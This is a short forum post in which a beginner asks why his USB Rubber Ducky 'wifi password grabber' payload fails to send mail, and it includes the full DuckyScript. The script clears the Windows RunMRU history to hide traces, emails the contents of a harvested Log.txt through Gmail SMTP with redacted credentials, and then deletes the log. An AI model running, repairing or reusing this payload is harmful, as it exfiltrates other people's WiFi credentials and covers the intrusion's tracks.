mbalecr7 Posted March 10, 2017 Posted March 10, 2017 Hello, i just start with the rubber ducky and check some payload like wifi password grabber but i don't why when i run the payload, at the end is always errors about the sending mail .. Exception lors de l’appel de « Send » avec « 1 » argument(s) : « Échec d’envoi du courrier. » Au caractère Ligne:1 : 1 + $SMTPInfo.Send($ReportEmail) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : SmtpException There is the script : REM –> Mail Log.txt STRING powershell ENTER STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f ENTER STRING $SMTPServer = ‘smtp.gmail.com’ ENTER STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587) ENTER STRING $SMTPInfo.EnableSsl = $true ENTER STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(‘………….’, ‘………..’) ENTER STRING $ReportEmail = New-Object System.Net.Mail.MailMessage ENTER STRING $ReportEmail.From = ‘……’ ENTER STRING $ReportEmail.To.Add(‘……..’) ENTER STRING $ReportEmail.Subject = ‘WiFi Password’ ENTER STRING $ReportEmail.Body = (Get-Content Log.txt | out-string) ENTER STRING $SMTPInfo.Send($ReportEmail) ENTER STRING exit ENTER DELAY 1000 REM –> Delete Log.txt and exit STRING del Log.txt & exit ENTER Hope you can help me .. Thanks a lot Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.